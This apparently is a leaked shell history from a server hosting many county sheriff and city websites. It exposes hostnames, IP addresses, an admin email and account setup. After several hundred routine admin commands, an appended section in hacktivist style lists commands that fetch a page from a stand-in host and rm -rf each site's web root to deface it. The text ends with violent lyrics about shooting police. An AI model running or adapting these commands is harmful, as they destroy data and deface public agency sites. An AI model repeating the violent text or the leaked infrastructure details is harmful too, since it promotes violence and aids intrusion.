  3933. /usr/local/psa/bin/reconfigurator.pl mapfile.old
  3934. vi  mapfile.old
  3935. /usr/local/psa/bin/reconfigurator.pl mapfile.old
  3936. vi  mapfile.old
  3937. vi  mapfile.old
  3938. ls
  3939. ifconfig -a
  3940. ifconfig -a
  3941. rm mapfile
  3942. /usr/local/psa/bin/reconfigurator.pl mapfile.old
  3943. /usr/local/psa/bin/reconfigurator.pl mapfile
  3944. vi mapfile
  3945. ls /etc/sysconfig/network-scripts/
  3946. cd /etc/sysconfig/network-scripts/
  3947. ls
  3948. ls
  3949. less ifcfg-eth0
  3950. cd
  3951. ls
  3952. finder.pl /var/www/vhosts/
  3953. finder.pl /var/www/vhosts/
  3954. find /var/www/vhosts/
  3955. less /var/log/rkhunter.log
  3956. cd
  3957. cd /var/www/vhosts/cityofgassville.org/
  3958. ls
  3959. cd httpsdocs/
  3960. ls
  3961. less index.html
  3962. cd
  3963. cd /var/www/vhosts/mostwantedwebsites.net/
  3964. ll
  3965. cd httpdocs/
  3966. ls
  3967. ll
  3968. mkdir ../old
  3969. mv access_log.processed _bak/ csv_for_lead_hill_change_log.php test/ ../old/
  3970. ll
  3971. telnet mail.cityofgassville.com 25
  3972. ssh 173.201.44.1
  3973. cd /var/www/vhosts/
  3974. ls
  3975. cd default/
  3976. ll
  3977. cd htdocs/
  3978. ll
  3979. vi index.html
  3980. vi .htaccess
  3981. cd ..
  3982. cd ..
  3983. ls
  3984. cd mostwantedgovernmentwebsites.com
  3985. ll
  3986. cd httpdocs/
  3987. ll
  3988. find . -name \*bak\*
  3989. find . -perm 777 -ls
  3990. chown apache:apache ./uploads
  3991. chmod 1755 uploads/
  3992. ls admin
  3993. find . -perm 777 -type f -exec chmod 644 {} \; -ls
  3994. find uploads/ -ls
  3995. ls
  3996. ll
  3997. ll api
  3998. less api/index.php
  3999. mkdir ../old
  4000. find . -name \*bak\*
  4001. find . -name \*bak\* -exec mv -vb {} ../old/ \;
  4002. find . -name \*bak\*
  4003. ls
  4004. ll
  4005. cd /var/www/vhosts/
  4006. ls
  4007. cd default/
  4008. ll -a
  4009. cd htdocs/
  4010. ll
  4011. vi .htaccess
  4012. service httpd restart
  4013. vi .htaccess
  4014. service httpd restart
  4015. ls
  4016. ll
  4017. tcpdump port 80
  4018. tcpdump port 80 -n
  4019. tcpdump port 80
  4020. tcpdump port 80 -s 1500
  4021. tcpdump port 80 -s 1500 -A
  4022. tcpdump port 80 -s 1500 -A| less
  4023. cd ../../
  4024. cd mostwantedgovernmentwebsites.com/
  4025. cd httpdocs/
  4026. vi index.htm
  4027. cd ../..
  4028. cd ../
  4029. cd -
  4030. ls
  4031. cd mostwantedwebsites.net/
  4032. cd httpdocs/
  4033. vi index.htm
  4034. less ../statistics/logs/access_log
  4035. ls
  4036. pwd
  4037. pwd
  4038. cd ../../
  4039. ls
  4040. cd mostwantedgovernmentwebsites.com
  4041. ls
  4042. ll
  4043. cd httpdocs/
  4044. ll
  4045. vi index.htm
  4046. mv index.htm index.htm_bak
  4047. vi index.htm
  4048. less ../statistics/logs/access_log
  4049. ls
  4050. mv index.htm_bak index.htm
  4051. cd ../../
  4052. ls
  4053. cd mostwantedwebsites.net/
  4054. ls
  4055. cd httpdocs/
  4056. ls
  4057. mv index.htm index.htm_bak
  4058. mv index.htm_bak index.htm
  4059. service httpd restart
  4060. pwd
  4061. less index.htm
  4062. pwd
  4063. pwd
  4064. mv index.htm index.htm_bak
  4065. ls
  4066. cp case_study.htm index.htm
  4067. less index.htm
  4068. pwd
  4069. mv index.htm_bak index.htm
  4070. cd ..
  4071. cd ..
  4072. cd default/
  4073. ll
  4074. cd htdocs/
  4075. vi .htaccess
  4076. yum install jp2-devel
  4077. yum list | less
  4078. yum list | less
  4079. yum install fontconfig-devel
  4080. wget http://www.ipchicken.com -O /dev/stdout | less
  4081. ssh 97.74.115.143
  4082. ssh 97.74.115.143
  4083. ssh 97.74.115.143
  4084. cd /var/www/vhosts/
  4085. ls
  4086. cd baxtercountysheriff.com/
  4087. less statistics/logs/access_log
  4088. ls
  4089. find . -ls | less
  4090. find . -ls | less
  4091. less httpsdocs/array_o_files.php
  4092. ll httpsdocs/array_o_files.php
  4093. find . -ls | less
  4094. find . -type f -exec grep passthru {} \;
  4095. find . -type f -exec grep passthru {} \; -print
  4096. find . -ls | less
  4097. find . -ls | mail -s 'Files' jwiegand@bjmweb.com
  4098. mailq
  4099. vi /etc/postfix/main.cf
  4100. postfix reload
  4101. postqueue -f
  4102. mailq
  4103. mailq
  4104. mailq
  4105. mailq
  4106. mailq
  4107. mailq
  4108. telnet 208.109.80.210 25
  4109. postqueue -f
  4110. ls
  4111. find . -ls | less
  4112. mailq
  4113. less /usr/bin/GET
  4114. less /sbin/ifup
  4115. cd
  4116. ls
  4117. finder.pl /
  4118. cd /var/www/vhosts/
  4119. ls
  4120. cd boonesheriff.com/
  4121. find . -ls | less
  4122. rm -rf cgi-bin/
  4123. find . -ls | less
  4124. less httpdocs/home/check_population.php
  4125. find . -ls | less
  4126. cd httpsdocs/
  4127. ls
  4128. rm -rf test
  4129. cd ../..
  4130. ls
  4131. cd cityofgassville.org/
  4132. find . -ls | less
  4133. cd httpdocs/
  4134. ll
  4135. chmod 755 ajax  controllers model settings views
  4136. ll
  4137. find . -ls
  4138. ls
  4139. cd views
  4140. ll
  4141. chmod 755 *
  4142. find . -mode 777
  4143. find . -perms 777
  4144. find . -perm 777
  4145. find . -perm 777 -ls
  4146. find . -perm 777 -type f
  4147. find . -perm 777 -type f -ls
  4148. find . -perm 777 -type f -exec chmod 644 {} \;
  4149. find . -ls
  4150. find . -perm 777 -type d -exec chmod 755 {} \;
  4151. ll
  4152. cd ..
  4153. find . -perm 777 -ls
  4154. ls
  4155. ll
  4156. find . -perm 777 -type d -exec chmod 755 {} \;
  4157. find . -perm 777 -type f -exec chmod 644 {} \;
  4158. ll
  4159. cd ../..
  4160. ll
  4161. cd boonesheriff.com/
  4162. ll
  4163. find . -ls | less
  4164. find . -ls | less
  4165. find . -perm 777
  4166. find . -perm 777 -ls
  4167. cd httpdocs/uploads/
  4168. ll
  4169. find . -perm 777 -ls
  4170. find . -perm 777 -ls -type f
  4171. find . -perm 777 -ls -type f -exec chmod 644 {} \;
  4172. find . -perm 777  -type f -exec chmod 644 {} \;
  4173. find -ls
  4174. cd ..
  4175. cd ..
  4176. find . -perm 777
  4177. find httpdocs -perm 777
  4178. find httpdocs -perm 777  -ls
  4179. chmod 755 httpdocs/admin/modules httpdocs/admin/modules/basic_page_editor
  4180. httpdocs/admin/modules/most_wanted
  4181. httpdocs/admin/modules/most_wanted/wanted_arrested
  4182. httpdocs/admin/modules/press_releases httpdocs/admin/modules/sex_offenders
  4183. httpdocs/config
  4184. chmod 755 httpdocs/high_res httpdocs/images/inmates httpdocs/images/warrants
  4185. httpdocs/uploads
  4186. find httpdocs -perm 777  -ls
  4187. chmod 644 httpdocs/config/injection_patch.php httpdocs/config/header.php
  4188. httpdocs/cross_inmate.php
  4189. cd ..
  4190. ls
  4191. find . -perm 777  -ls
  4192. ls
  4193. cd cityofgassville.org/
  4194. find . -perm 777  -ls
  4195. ;ll
  4196. ll
  4197. cd httpdocs/
  4198. less core/master.tps
  4199. ll
  4200. less core/master.tps
  4201. chmod 777 helpers
  4202. chmod 777 core
  4203. chmod 755 core
  4204. chmod -R 777 core
  4205. chmod -R 777 helpers
  4206. ll
  4207.  
  4208. chmod -R 777 core
  4209. vi phpinfo.php
  4210. rm phpinfo.php
  4211. find core -ls
  4212. less core/ini.tps
  4213. find . sqlite_open
  4214. find . -exec grep sqlite_open {} \;
  4215. yum list | less
  4216. vi phpinfo.php
  4217. rm phpinfo.php
  4218. cd /tmp
  4219. rpm -ivh sqlite2-2.8.17-5.el5.i386.rpm
  4220. service httpd restart
  4221. yum install php-sqlite
  4222. yum install php5-sqlite
  4223. pec install sqlite
  4224. pecl install sqlite
  4225. pecl install sqlite2
  4226. pecl install sqlite3
  4227. pecl info sqlite
  4228. pear install sqlite
  4229. cd
  4230. pecl download sqlite
  4231. mkdir sl
  4232. cd sl/
  4233. tar -zxvf ../SQLite-1.0.3.tgz
  4234. wget http://www.modphp.org/src/sqlite-1.0.3-byref_patch-1.0.patch
  4235. less sqlite-1.0.3-byref_patch-1.0.patch
  4236. patch -p1 < sqlite-1.0.3-byref_patch-1.0.patch
  4237. tar -czf ../SQLite-1.0.3.tgz .
  4238.  
  4239. pecl install SQLite-1.0.3.tgz
  4240. service httpd restart
  4241. vi /etc/php.d/pdo_sqlite.ini
  4242. ll /var/tmp/pear-build-root/SQLite-1.0.3/modules
  4243. cd /etc/php/d
  4244. cd /etc/php.d
  4245. ls
  4246. cp pdo_sqlite.ini sqlite.ini
  4247. vi sqlite.ini
  4248. service httpd restart
  4249. pwd
  4250. cat sqlite.ini
  4251. vi /etc/php.ini
  4252. cd
  4253. cd /var/www//vhosts/cityofgassville.org/
  4254. ls
  4255. cd httpdocs/
  4256. ls
  4257. ll
  4258. less header.tps
  4259. find . -perm 777  -ls
  4260. find . -perm 777  -type f -exec chmod 644 {} \;
  4261. find . -perm 777  -type d -exec chmod 755 {} \;
  4262. ll
  4263. cd ..
  4264. cd ..
  4265. ll
  4266. cd kempercountysheriff.com/
  4267. ls
  4268. ll
  4269. cd http
  4270. cd httpdocs/
  4271. ll
  4272. find . -ls | less
  4273. rm -rf test/
  4274. ll
  4275. find . -ls | less
  4276. ls admin/
  4277. cp ../../baxtercountysheriff.com/httpdocs/admin/.htaccess .
  4278. vi .htaccess
  4279. find . -ls | less
  4280. ll
  4281. chown 755 uploads high_res/
  4282. chown apache:apache uploads high_res/
  4283. chmod 1755 uploads high_res/
  4284. ll
  4285. find . -perm 777
  4286. less ./uploads/watermark_wanted_photo.php
  4287. ll ./uploads/watermark_wanted_photo.php
  4288. chmod 644 ./uploads/watermark_wanted_photo.php
  4289. chmod 644 ./uploads/arrested_big.png
  4290. rm -f ./uploads/Thumbs.db
  4291. cd ..
  4292. cd ..
  4293. ll
  4294. cd marioncountysheriffar.com/
  4295. find . -perm 777
  4296. cd httpdocs/
  4297. ll
  4298. ls test
  4299. rm -rf test
  4300. chown apache:apache uploads/ high_res/
  4301. chmod 1755 uploads/ high_res/
  4302. cp ../../baxtercountysheriff.com/httpdocs/admin/.htaccess admin/
  4303. vi admin/.htaccess
  4304. ls
  4305. ls ../../boonesheriff.com/httpdocs/admin/
  4306. ll ../../boonesheriff.com/httpdocs/admin/
  4307. cp ../../baxtercountysheriff.com/httpdocs/admin/.htaccess
  4308. ../../boonesheriff.com/httpdocs/admin/
  4309. ll -a ../../boonesheriff.com/httpdocs/admin/
  4310. pwd
  4311. find . -ls | less
  4312. rm Thumbs.db
  4313. ll admin/
  4314. ll -a admin/
  4315. cd ../../
  4316. ll
  4317. finder.pl .
  4318. vi ~/bin/finder.pl
  4319. finder.pl .
  4320. vi ~/bin/finder.pl
  4321. finder.pl .
  4322. vi ~/bin/finder.pl
  4323. finder.pl .
  4324. vi ~/bin/finder.pl +16
  4325. finder.pl .
  4326. vi ~/bin/finder.pl +16
  4327. cd baxtercountysheriff.com/
  4328. find . -ls | less
  4329. cd httpdocs/
  4330. ls
  4331. pwd
  4332. ls test
  4333. pwd
  4334. mv test ..
  4335. ls
  4336. ll
  4337. chown apache:apache high_res/ uploads/
  4338. chmod 755 high_res/ uploads/
  4339. ll
  4340. chmod 1755 high_res/ uploads/
  4341. ll
  4342. ll config
  4343. find . -perm 777
  4344. find . -perm 777 -type f
  4345. find . -perm 777 -type f -ls | less
  4346. ll
  4347. ps -ef | grep http
  4348. find . -perm 777 -type f -ls -exec chmod 644 {} \;
  4349. find . -perm 777 -type f -ls -exec chmod 644 {} \;
  4350. ll
  4351. find . -perm 777 -type d
  4352. find . -perm 777 -type d -ls
  4353. find . -perm 777 -type d -ls| less
  4354. find admin -perm 777 -type d -exec chmod 755 {} \;
  4355. find . -perm 777 -type d -ls| less
  4356. find admin_dymin/ -perm 777 -type d -exec chmod 755 {} \;
  4357. find . -perm 777 -type d -ls| less
  4358. find blog config/ -perm 777 -type d -exec chmod 755 {} \;
  4359. find . -perm 777 -type d -ls| less
  4360. find uploads/ -perm 777 -type d -exec chmod 755 {} \;
  4361. ls
  4362. find . -perm 777 -type d -ls| less
  4363. cd images/
  4364. ll
  4365. ls warrants/
  4366. ll warrants/
  4367. ls
  4368. find . -perm 777 -type d -ls
  4369. yum install mcrypt
  4370. yum install php-mcrypt
  4371. service httpd restart
  4372. ll
  4373. chown apache:apache warrants/ inmates/
  4374. chmod 1755 warrants/ inmates/
  4375. ll
  4376. cd
  4377. mv ~bjmsuper/id_dsa.pub .ssh/authorized_keys2
  4378. vi /etc/ssh/sshd_config
  4379. nohup service sshd restart
  4380. cd
  4381. cd .ssh/
  4382. ll
  4383. crontab -e
  4384.  /usr/sbin/ntpdate nist1-chi.ustiming.org
  4385. crontab -l
  4386. vi /etc/rsnapshot.exclude
  4387. crontab -e
  4388. /usr/sbin/ntpdate nist1-chi.ustiming.org 2&>1 >/dev/null
  4389. cd
  4390. cd /var/www/vhosts/
  4391. cd marioncountysheriffar.com/
  4392. ll
  4393. cd httpdocs/
  4394. ll
  4395. cd ../../kempercountysheriff.com/
  4396. ll
  4397. cd httpdocs/
  4398. ll
  4399. ll -a admin/
  4400. cd ..
  4401. cd ..
  4402. find . -name .htaccess
  4403. cp ./marioncountysheriffar.com/httpdocs/admin/.htaccess
  4404. kempercountysheriff.com/httpdocs/admin/
  4405. vi kempercountysheriff.com/httpdocs/admin/.htaccess
  4406. cd /var/www/vhosts/baxtercountysheriff.com/cd admin
  4407. cd /var/www/vhosts/baxtercountysheriff.com/httpdocs/admin
  4408. vi .htaccess
  4409. exit
  4410. passwd bjmsuper
  4411. mailq
  4412. openssl s_client -connect mostwantedwebsites.net:993 -ssl2
  4413. openssl s_client -connect localhost.net:993 -ssl2
  4414. openssl s_client -connect mail.mostwantedwebsites.net:465 -ssl2
  4415. openssl s_client -connect mail.mostwantedwebsites.net:465
  4416. openssl s_client -connect mail.mostwantedwebsites.net:993 -sslv
  4417. openssl s_client -connect mail.mostwantedwebsites.net:993 -ssl2
  4418. openssl s_client -connect mail.mostwantedwebsites.net:995 -ssl2
  4419. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4420. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4421. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4422. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4423. ping mail.mostwantedwebsites.net
  4424. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4425. openssl s_client -connect mail.mostwantedwebsites.net:993 -ssl2
  4426. openssl s_client -connect mail.mostwantedwebsites.net:995 -ssl2
  4427. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4428. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4429. vi /etc/httpd/conf.d/ssl.conf
  4430. restart httpd
  4431. /etc/init.d/httpd restart
  4432. vi /etc/courier-imap/imapd-ssl
  4433. vi /etc/courier-imap/pop3d-ssl
  4434. /etc/init.d/courier-imap restart
  4435. openssl s_client -connect mail.mostwantedwebsites.net:465 -ssl2
  4436. openssl s_client -connect mail.mostwantedwebsites.net:465
  4437. openssl s_client -connect mail.mostwantedwebsites.net:25
  4438. add user bcsd_sync
  4439. adduser bcsd_sync
  4440. passwd bcsd_sync
  4441. cd /var/www/vhosts/baxtercountysheriff.com/
  4442. ls
  4443. mkdir home
  4444. ls /home
  4445. ll /home
  4446. rm home
  4447. rm home -rf
  4448. ll
  4449. mv /home/bcsd_sync/ ./home
  4450. ll
  4451. vi /etc/passwd
  4452. chown bcsd_sync:psacln home
  4453. chmod 740 home
  4454. ll
  4455. exit
  4456. cd /var/www/vhosts/adamscosheriff.org/httpdocs/
  4457. ll
  4458. find . -type d -exec chmod 0755 {} \;
  4459. find . -type f -exec chmod 0644 {} \;
  4460. ll
  4461. chown -R apache:apache settings/ uploads/
  4462. ll
  4463. chmod -R 1755 settings/ uploads/
  4464. ll
  4465. cd /var/www/vhosts/sgcso.com/httpdocs/
  4466. ll
  4467. find . -type d -exec chmod 0755 {} \;
  4468. find . -type f -exec chmod 0644 {} \;
  4469. ll
  4470. chown -R apache:apache uploads/ high_res/
  4471. chmod -R 1755 uploads/ high_res/
  4472. ll
  4473. cd admin
  4474. ll
  4475. ll -a
  4476. vi .htaccess
  4477. ll -a
  4478. cd /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/
  4479. ll
  4480. find . -type d -exec chmod 0755 {} \;
  4481. find . -type f -exec chmod 0644 {} \;
  4482. chmod -R 1755 uploads/ high_res/
  4483. chown -R apache:apache uploads/ high_res/
  4484. ll
  4485. cd admin/
  4486. ll
  4487. ll -a
  4488. cd /var/www/vhosts/crosscountysheriff.org/
  4489. cd httpdocs/
  4490. ll
  4491. cd admin/
  4492. ll
  4493. cd config/
  4494. ll
  4495. less connect.php
  4496. vi connect.php
  4497. vi connect.php
  4498. cd /var/www/vhosts/polkcountymosheriff.org/httpdocs/
  4499. ll
  4500. ll
  4501. cd /var/www/vhosts/marioncountysheriffar.com/httpdocs/
  4502. ll
  4503. cd /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/
  4504. ll
  4505.  
  4506.  
  4507. // THIS TIME WE'RE NOT GONNA HESITATE TO PULL THE TRIGGER.
  4508.  
  4509. # wget http://our.sekret.stash/index.html
  4510. # rm -rf /var/www/vhosts/adamscosheriff.org/httpdocs/*; cp index.html
  4511. /var/www/vhosts/adamscosheriff.org/httpdocs/;
  4512. # rm -rf /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/*; cp index.html
  4513. /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/;
  4514. # rm -rf /var/www/vhosts/baxtercountysheriff.com/httpdocs/*; cp index.html
  4515. /var/www/vhosts/baxtercountysheriff.com/httpdocs/;
  4516. # rm -rf /var/www/vhosts/boonesheriff.com/httpdocs/*; cp index.html
  4517. /var/www/vhosts/boonesheriff.com/httpdocs/;
  4518. # rm -rf /var/www/vhosts/cityofgassville.org/httpdocs/*; cp index.html
  4519. /var/www/vhosts/cityofgassville.org/httpdocs/;
  4520. # rm -rf /var/www/vhosts/crosscountysheriff.org/httpdocs/*; cp index.html
  4521. /var/www/vhosts/crosscountysheriff.org/httpdocs/;
  4522. # rm -rf /var/www/vhosts/drewcountysheriff.com/httpdocs/*; cp index.html
  4523. /var/www/vhosts/drewcountysheriff.com/httpdocs/;
  4524. # rm -rf /var/www/vhosts/grantcountysheriff-collector.com/httpdocs/*; cp
  4525. index.html /var/www/vhosts/grantcountysheriff-collector.com/httpdocs/;
  4526. # rm -rf /var/www/vhosts/hodgemansheriff.us/httpdocs/*; cp index.html
  4527. /var/www/vhosts/hodgemansheriff.us/httpdocs/;
  4528. # rm -rf /var/www/vhosts/izardcountyar.org/httpdocs/*; cp index.html
  4529. /var/www/vhosts/izardcountyar.org/httpdocs/;
  4530. # rm -rf /var/www/vhosts/izardcountysheriff.org/httpdocs/*; cp index.html
  4531. /var/www/vhosts/izardcountysheriff.org/httpdocs/;
  4532. # rm -rf /var/www/vhosts/jocomosheriff.org/httpdocs/*; cp index.html
  4533. /var/www/vhosts/jocomosheriff.org/httpdocs/;
  4534. # rm -rf /var/www/vhosts/kempercountysheriff.com/httpdocs/*; cp index.html
  4535. /var/www/vhosts/kempercountysheriff.com/httpdocs/;
  4536. # rm -rf /var/www/vhosts/lawrencecosheriff.com/httpdocs/*; cp index.html
  4537. /var/www/vhosts/lawrencecosheriff.com/httpdocs/;
  4538. # rm -rf /var/www/vhosts/lcsdmo.com/httpdocs/*; cp index.html
  4539. /var/www/vhosts/lcsdmo.com/httpdocs/;
  4540. # rm -rf /var/www/vhosts/marioncountysheriffar.com/httpdocs/*; cp index.html
  4541. /var/www/vhosts/marioncountysheriffar.com/httpdocs/;
  4542. # rm -rf /var/www/vhosts/mcminncountysheriff.com/httpdocs/*; cp index.html
  4543. /var/www/vhosts/mcminncountysheriff.com/httpdocs/;
  4544. # rm -rf /var/www/vhosts/mostwantedgovernmentwebsites.com/httpdocs/*; cp
  4545. index.html /var/www/vhosts/mostwantedgovernmentwebsites.com/httpdocs/;
  4546. # rm -rf /var/www/vhosts/mostwantedwebsites.net/httpdocs/*; cp index.html
  4547. /var/www/vhosts/mostwantedwebsites.net/httpdocs/;
  4548. # rm -rf /var/www/vhosts/newtoncountysheriff.org/httpdocs/*; cp index.html
  4549. /var/www/vhosts/newtoncountysheriff.org/httpdocs/;
  4550. # rm -rf /var/www/vhosts/polkcountymosheriff.org/httpdocs/*; cp index.html
  4551. /var/www/vhosts/polkcountymosheriff.org/httpdocs/;
  4552. # rm -rf /var/www/vhosts/rcpi-ca.org/httpdocs/*; cp index.html
  4553. /var/www/vhosts/rcpi-ca.org/httpdocs/;
  4554. # rm -rf /var/www/vhosts/sgcso.com/httpdocs/*; cp index.html
  4555. /var/www/vhosts/sgcso.com/httpdocs/;
  4556. # rm -rf /var/www/vhosts/stonecountymosheriff.com/httpdocs/*; cp index.html
  4557. /var/www/vhosts/stonecountymosheriff.com/httpdocs/;
  4558. # rm -rf /var/www/vhosts/vbcso.com/httpdocs/*; cp index.html
  4559. /var/www/vhosts/vbcso.com/httpdocs/";
  4560.  
  4561. // I take a left at the light, turn off the headlights and ride real slow
  4562. // Now holla at me when you see the 5-0
  4563. // Alright Dirty, yall boys ready?
  4564. // Bout to turn drive-bys revolutionary
  4565. // *POW POW POW POW POW* YEAH MUTHAFUCKA YEAH!
  4566. // *POW POW POW POW POW* YEAH MUTHAFUCKA YEAH!
  4567. // Look at 'em run, too scared to pull they guns
  4568. // Outta shape from them coffees and them cinnamon buns
  4569. // This shit is fun, how I feel when the tables is turned
  4570. // Hollow tips hit yah flesh through yo vests and it burn
  4571. // That's a lesson you learn, comin straight from the slums
  4572. // And it don't stop till we get full freedom